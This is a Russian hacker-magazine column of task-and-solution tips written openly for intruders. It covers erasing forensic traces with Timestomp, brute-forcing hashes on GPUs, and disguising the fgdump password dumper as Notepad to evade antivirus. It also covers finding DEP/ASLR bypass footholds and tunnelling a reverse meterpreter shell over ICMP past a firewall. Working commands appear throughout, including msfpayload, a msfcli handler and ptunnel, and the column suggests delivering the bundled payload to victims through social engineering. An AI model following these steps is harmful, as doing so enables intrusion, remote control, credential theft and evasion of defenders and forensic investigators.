Содержание статьи
- Задача: изменить метаданные файлов под NTFS (время создания, изменения, доступа, модификации MFT)
- Решение
- Задача: найти инструментарий для анализа защищенности вебсервисов.
- Решение
- В общем, круто!
- Задача: пробрутфорсить хеши, используя GPU
- Решение
- Задача: спрятать тулзу от антивирусов
- Решение
- Задача: проанализировать возможности обхода защитных механизмов windows (aslr/dep)
- Решение
- Задача:обойти файервол, используя icmp(ping)-тоннель
- Решение
Задача: изменить метаданные файлов под NTFS (время создания, изменения, доступа, модификации MFT)
Решение
После проникновения в систему часто требуется почистить за собой следы, или, например, скрыть свое ПО, замаскировав его в зависимости от обстановки. Не считая всяких логов, вычислить наше присутствие (или проследить, чем мы занимались) можно по временным отметкам файлов/каталогов. Поэтому для нас очень важна возможность редактировать эти метаданные. К счастью, James C. Foster и Vincent Liu на BlachHat’t 2005 представили тулзу, имя которой Timestomp. Она-то нам и поможет.
Немного теории. NTFS хранит данные о времени создания файла (С), его модификации (M), доступа к нему (A), а также о модификации его записи в MFT (E). Лежат эти метаданные как раз в MFT (Master File Table). MFT — это что-то вроде большой таблицы, где представлены все файлы и их атрибуты (и не только).
Временные метки (MACE) каждого файла находятся как в атрибуте $FILE_NAME, так и в атрибуте $STANDARD_INFORMATION. То есть в итоге получается 8 меток.
Так вот, Timestomp умеет редактировать MACE в $STANDARD_ INFORMATION для файлов и каталогов. И, что радостно, для наших махинаций даже не требуются админские права.
Некую информацию можно почерпнуть в статье forensicswiki.org/wiki/Timestomp, а саму прогу взять на метасплойте (metasploit.com/data/antiforensics/timestomp.exe) или на нашем DVD. Прога проста и функциональна:
Timestomp.exe «имя_файла/директории» «опции»
Опции возможны следующие:
- -m / -a / -c / -e / -z — ввести время модификации / доступа / создания файла / модификации записи MFT / всех меток;
- -f имя_файла — скопировать временные метки с другого файла;
- -b — обнулить метки (дата будет 1/1/1601);
- -r — рекурсивное обнуление меток для директорий (включая и все поддиректории/файлы);
- -v — показать временные метки файла.
Формат вводимых временных меток следующий:
«День_недели Месяц/Число/Год Часы:Минуты:Секунды По_полудню(AM/PM)»
Но день недели можно ввести любой, так как система подставит правильное значение на основании вводимой даты.
Например, скопируем временные метки у cmd.exe для программы badprogram.exe:
timestomp.exe badprogram.exe -f c:\WINDOWS\system32\cmd.exe
Или поменяем время модификации записи MFT для badprogram.exe:
timestomp.exe badprogram.exe -e "Monday 11/13/2011 11:11:11 PM"
Теперь несколько подробностей и особенностей, которые стоит учитывать при использовании этой тулзы. Так как Timestomp меняет только $STANDARD_INFORMATION, то наши изменения можно обнаружить, просмотрев атрибут $FILE_NAME в MFT.
Но, во-первых, в стандартной информации о файле будет представлена наша информация, так как она берется из $STANDARD_INFORMATION, а во-вторых, скопировав наш файл в другую директорию или просто переименовав его, мы сменим значения $FILE_NAME, так как они скопируются из $STANDARD_INFORMATION.
Далее. В Timestomp есть отличная опция -b (и -r), обнуляющая значения MACE. Но из-за небольшой кривизны реализации она не будет работать, если ты находишься в восточном полушарии, и у тебя в системе установлено время GMT с плюсом. Например, для Москвы — GMT+3 часа. Впрочем, баг лечится временной сменой часового пояса.
Ну и самое вкусное. Timestomp входит в состав стандартных антифоренстических (для заметания следов) средств Metasploit’а. Подключается в meterpreter’e посредством команды «use priv», все остальное аналогично. Кстати, в случае сброса временных меток или выставления кривых дат для файлов, meterpreter будет выводить ошибки при попытке листинга файлов.
Задача: найти инструментарий для анализа защищенности вебсервисов.
Решение
При анализе защищенности того или иного сайта приходится выполнять множество простых действий, будь то редактирование кукисов или легкий фаззинг. Список основных задач, в общем-то, известен. Несомненно, Фаерфоксик со своими аддонами — вещь крутая, на все случаи жизни... Но чем больше я ими пользуюсь, тем больше они удручают. Обобщу претензии: с более заточенными под «наши дела» продуктами личная производительность будет выше. В своих поисках я набрел на такую олдскульную тему, как Webscarab от OWASP’а. По своей сути Webscarab — это скорее небольшой фрэймворк, к которому можно писать свои плагины.
Он представляет собой прокси-сервер, но с расширенными возможностями как раз за счет этих плагинов. Как и большинство продуктов OWASP’a, он написан на Jаva и потому кроссплатфоменен, что тоже радует. Взять можно отсюда — owasp.org/index.php/Category:OWASP_WebScarab_Project. Для работы с Webscarab’ом требуется запустить его, а в настройках браузера (или какой-нибудь другой программулины) прописать прокси (по дефолту 127.0.0.1 на 8008 порту). После этого мы будем видеть все пересылаемые запросы.
Круг возможностей реально широк:
- работа с HTTP/HTTPS-протоколами (с поддержкой сертификатов)
- поддержка HTTP-авторизации
- отсутствие привязки к какому-либо браузеру
- возможность редактирования заголовков/тел запросов/ответов
- автоматизация реакции на запросы/ответы посредством Bean shell
- раскрытие скрытых полей
- определение XSS/CSRF-инъекций
- поиск в ответах по регексапам
- фаззинг... и т.д.
В общем, круто!
Теперь для смаку — ложка дегтя :). Webscarab хоть и хорош, но уже давно не обновляется (то ли с 2005, то ли с 2006 года). И этого ему очень не хватает. Количество недоработок и глюков зашкаливает. А с учетом его возможностей не сразу врубишься, что да как там работает (или не работает вовсе :)). Но честь и хвала человечку под ником Kuzya с Античата! Он написал очень подробный и качественный мануал для Webscarab’а. Найти описалово можно здесь: forum.antichat.ru/thread106452.html. Видео с примерами использования можно взять на yehg.net/lab/pr0js/training/webscarab.php.
И еще хорошая новость. По ходу дела, Webscarab не совсем загнулся, так как на OWASP’е есть проект Webscarab_NG. Типа, переписали Webscarab, чтобы он был более юзер-френдли и с большими возможностями (поддержка баз данных, например). Основные фичи и плагины уже работают, но, к сожалению, не все. Подробности на owasp.org/index.php/Category:OWASP_WebScarab_NG_Project.
Задача: пробрутфорсить хеши, используя GPU
Решение
Ребята, это наконец-то случилось! Похоже, Боги сжалились над нами, смертными, и — о чудо! — в скором времени мы увидим второе пришествие Starcraft’а! На работе пишем заявление «по собственному желанию», а любимой девушке говорим, что должны покинуть ее как минимум на год :). И бегом обновлять железки в компе. Но это стоит делать с умом, чтобы в те ночи, когда мы не будем рвать корейцев, комп не простаивал напрасно, а брутил хешики. Иван Голубев, явный фанат своего дела, за что ему почет и уважение, написал несколько брутфорсеров, которые используют возможности GPU/CPU. Взять их можно с его сайта — golubev.com. Теперь немного о хороших утилитах.
Ighashgpu подбирает MD4, MD5 и SHA1 хеши (и их модификации); igrargpu — для RAR-архивов, под MS/OpenOffice/WinZip — платный продукт.
В общем, переборщики по всем основным направлениям. К тому же, сами программы функциональны: позволяют задавать наборы/количество символов, маски, salt, кодировку и т.д. Там же можно почерпнуть общетеоретические знания о переборе с использованием CPU и GPU (golubev.com/about_cpu_and_gpu_ru.htm), а также производительность той или иной железки.
Задача: спрятать тулзу от антивирусов
Решение
Говорить о потребности скрытия своего софта (неважно какого) от антивирусов жертвы нет необходимости, это и так понятно. Позволь напомнить тебе об одном олдскульном и очень простом методе. В довесок приведу небольшое исследование возможности использования его в нынешних реалиях. Суть метода в редактировании так называемых «ресурсов» той тулзы, которую ты хочешь спрятать. Проще всего сделать это с помощью Resource Hacker’а. Взять его можно на angusj.com/resourcehacker/. Прога еще от 2002 года, но до сих пор отлично фурычит :). Итак, возьмем для примера тулзу fgdump (foofus.net/~fizzgig/fgdump/downloads.htm). Она занимается тем, что дампит хеши паролей (Tool For Mass Password Auditing :)). Для проверки на «обнаружаемость» будем пользоваться сервисом virustotal.com. Тулза эта работает отлично, но детектится почти всеми антивирями, что видно на скриншоте (38/41). Начнем «исследование».
Для начала, изменив пару случайных байт в fgdump и добившись тем самым изменения контрольной суммы файла, мы получаем 30 из 41 (fgdump_2.exe). Не ахти, но все же... Теперь попробуем Resource Hacker:
- Открываем в Resource Hacker(RH), например, Блокнот (c:\windows\system32\notepad.exe).
- Открываем в другом нашу тулзу.
- Переходим в раздел Version Info и копируем все данные от Блокнота в fgdump.
- Кликаем в RH c fgdump на CompileScript.
- Сохраняем полученный fgdump.
Чтобы еще больше походить на Блокнот, мы можем скопировать его иконку. Для этого:
- RH c блокнотом: Action - Save All Resources.
- RH c fgdump: Action - Add a new Resource и выбираем сохраненную иконку.
- В Resource Name пишем 1, в Resource Language — 1049.
- Сохраняем полученый fgdump.
Посмотрим результаты на virustotal.com. И уже имеем 23 из 41 (fgdump_5.exe).
Конечно, эффект не очень велик — половина, но с учетом минимальных трудозатрат очень радует. Особенно, если антивирь жертвы как раз в «черном» списке. К тому же, в этот черный список попали даже очень представительные антивири.
Но, чтобы быть более объективным, стоит заметить, что virustotal использует неполные версии антивирей, то есть лишенные поведенческого и эвристического анализа. В то же время, антивирь, которым пользуюсь я, хоть и должен был детектить по статистике virustotal’а, не паниковал даже на немодифицированной версии fgdump. Вот такие пироги.
Задача: проанализировать возможности обхода защитных механизмов windows (aslr/dep)
Решение
Уже многое было написано о защитных механизмах в Windows-системах и о методах их обхода. К сожалению, механизмы эти — не панацея. Вопервых, потому что не все они есть в «последних» версиях Windows или не всегда правильно сконфигурены. Например, DEP появился еще в XP SP2, но включен только для системных процессов, или вот проверка последовательности SEH'ов есть уже в Vista, однако отключена по дефолту. Во-вторых, как ни странно, список софта даже самого обычного юзера включает ПО не только от вездесущего MS. А другие, «сторонние» производители не особо-то и выполняют «требования» от MS. Это важно, так как для крепкой обороны и сама программулина, и все ее библиотеки должны быть скомпилированы с поддержкой всех механизмов. Например, для обхода DEP используется ROP-техника (см. прошлый номер ][), но она невозможна, если софтина полностью скомпилирована с поддержкой ASLR.
Но если какая-то библиотека собрана без поддержки ASLR, то мы можем зацепиться за статический адрес и обойти DEP. Ну и в том же духе. Это уже практика, так сказать. Так вот. Для тех, кому важны именно практические возможности обхода механизмов защиты (или параноикам, боящимся, что к ним кто-то может залезть и что-нибудь спереть :)) на реальном ПО, будет интересна статья от Alin Rad Pop из Secunia (secunia.com) о том, в каком массовом ПО (и с какой версии) включена поддержка DEP, какие библиотеки скомпилированы без ASLR, чтобы за них можно было зацепится. Ссылка — secunia.com/gfx/pdf/DEP_ASLR_2010_paper.pdf.
Задача:обойти файервол, используя icmp(ping)-тоннель
Решение
Предположим, что мы пытаемся проникнуть в закрытую сеть и закрепиться на каком-нибудь из тамошних хостов. Последних в ней много, но доступа из внешней сети маловато: пару сервачков наружу, а ушастые юзеры все сидят за NAT’ом (один внешний IP, через который все и ползают).
Таким образом, к ним с нашей стороны не подключиться. К тому же, доступ наружу обрезан: предположим только HTTP/HTTPS, да и то через прокси и к определенным сайтам. В общем-то, классическая ситуация для многих организаций. Но, как часто это бывает, хотя TCP/UDP-соединения во внешнюю сеть бдительные админчики фильтруют на файерволе, про такой протокол, как ICMP забывают (или оставляют для каких-то технических целей). Этим-то мы и можем воспользоваться :). Основная задача такова: наполнить ICMP-протокол необходимым функционалом для удаленного доступа к жертве (точнее ее к нам, если говорить о NAT’е). Напомню, ICMP (англ. Internet Control Message Protocol, RFC 792, 950) — это, как понятно из названия, межсетевой протокол управляющих сообщений. То есть такой сервисный протокол, во многом используемый для сообщения об ошибках в связи на сетевом (IP) и транспортном уровне(TCP/UDP) по модели OSI. Я уверен, что ты юзал его не раз, так как он и является основой такой вещи как ping. Да, когда ты пингуешь какую-нибудь машину, ты отправляешь ей ICMP-пакет с типом 8, а назад получаешь ICMP-пакет с типом 0.
Протокол простой: инкапсулируется в IP-пакет, а содержит в себе всего 4 поля. Поле «Type» и «Code» по 8 бит, контрольную сумму пакета — 16 бит, дополнительное поле для некоторых типов и кодов — 32 бита. Далее поле Data — в общем-то, любые данные. Размер пакета может достигать 64 Кб. Потому мы можем переносить достаточно приличные объемы информации за один запрос. Что для нас важно, ICMP — это ненадежный протокол, то есть мы не получаем ответ о доставке нашего сообщения (как, например, у TCP). Теперь к практике.
Программок, которые наделяют ICMP, так сказать, возможностями передачи данных, полным-полно. Это и ptunnel, и itun, и ishell, и даже старенькая тулза от твоего любимого журнала — x-proxy (xakep.ru/post/16337/default.asp). Большинство из них занимаются тем, что инкапсулируют (с некоторыми изменениями, конечно) пакеты TCP в поле Data ICMP-сообщений. По идее все просто, но в реализациях много хитростей. Например, как упомянуто выше, TCP — надежный протокол, а ICMP — нет. В итоге корректность работы и производительность тулз невелика.
Лучшей программой, вроде как, является ptunnel(cs.uit.no/~daniels/PingTunnel). Она все еще живет и развивается, к тому же есть версия под Windows (под которой обычно сидят все юзеры). Но начну я с несколько альтернативного решения. Имя ему — Ishell. По сути — это шелл, только на основе ICMP. То есть у него нет заморочек с передачей данных. Все в себе, так сказать, и взять можно на icmpshell.sourceforge.net. Качаем исходники и make’им их.
У жертвы(192.168.0.1) запускаем сервер:
./ishd
А сами коннектимся:
./ish 192.168.0.1
Получаем шелл. Есть возможность настроить тип, идентификатор, размер ICMP-пакетов. Но это, в общем, не особо нужно. Из плохого: для начала — не работает под Win, а главное — требует коннекта от нас, то есть не дает возможности обойти NAT. Хотя сие можно обойти, хорошенько доработав исходнички и сделав backconnect.
Вернемся к классическому ptunnel (by Daniel Stoedle). В статьях про него описывается в основном возможность «кражи» интернета, если у тебя доступен только ICMP. Вешаем сервер («ICMP-прокси») где-нибудь в интернете, а сами из «закрытой» сети коннектимся к нему по ICMP. Сервер же уже реально соединяется с нужным нам ресурсом по TCP и передает копии «диалога». Как-то так :). Но мы воспользуемся им по-другому: совместим реверсовый meterpreter из Metasploit’а(MSF) с ICMP-туннелем. Описывать «установку» ptunnel не буду, но замечу, что для Win требуются библиотеки WinPCAP (winpcap.org/install/default.htm). Итак, представим, что IP жертвы — 192.168.146.1, а наш — 192.168.146.128. Создаем реверсовый meterpreter на себя самого на 5678 порт в виде exe-файла, который мы подсунем нашей жертве (подробности использования MSF я — пропущу, так как описывал их в прошлых номерах):
msfpayload windows/meterpreter/reverse_tcp
LHOST=127.0.0.1,LPORT=5678 X > reverseMP2.exe
Запускаем сервер (прокси) ICMP-тоннеля:
ptunnel
Запускаем прослушку на нашем компе (5678 порт) на ожидание подключения meterpreter’а:
msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/
reverse_tcp LHOST=127.0.0.1 LPORT=5678 E
Запускаем клиентскую часть ICMP-туннеля на компе жертвы:
ptunnel.exe -p 192.168.146.128 -lp 5678 -da 192.168.146.128
-dp 5678
Где:
- -p — порт, куда будут посылаться ICMP-пакеты;
- -lp — локальный порт, через который будет происходить общение по TCP с локальной программой (в нашем случае — с meterpreter’ом);
- -da и -dp — IP и порт, куда будет коннектиться сервер ptunnel.
Сам ptunnel поддерживает еще кучку интересных и полезных опций, например, аутентификацию с использованием MD5.
После этих манипуляций нам остается только запустить reverseMP2.exe и мы получим meterpreter на ICMP. Ура!
Немного поясню логику. У жертвы мы вешаем ptunnel-клиент на 5678 порт, который пересылает все данные нам на сервер ptunnel, а оттуда в MSF. При запуске у жертвы meterpreter, поскольку он реверсовый, сам коннектится на ptunnel-клиент (127.0.0.1). Все, в общем-то, просто.
Наш пример получился несколько лабораторным (цель достигнута — шелл под Win за NAT’ом через ICMP), но если его несколько доработать напильничком... Например, можно объединить библиотечки, оба exe’шника и батник для последовательного запуска последних с необходимыми опциями в один exe с помощью того же IExpress, о котором также уже писалось в данной рубрике. Доставить сие зло нашему юзеру по почте и, используя либо уязвимости ПО, либо социалку, заставить запустить его. И все будет ОК! Имея на руках meterpreter, мы сможем поиметь всю остальную сеть.
В общем, у этого метода (нестандартное использование ICMP) есть одна общая проблема — требуются админские права, так как проги работают с пересылаемыми пакетами данных на «глубоком» уровне, с raw сокетами. Но и это решаемо при комплексном подходе. Также негативным моментом является массовый паразитный ICMP-трафик, даже когда не происходит реальной пересылки данных. Но все же, этот продукт — сила :).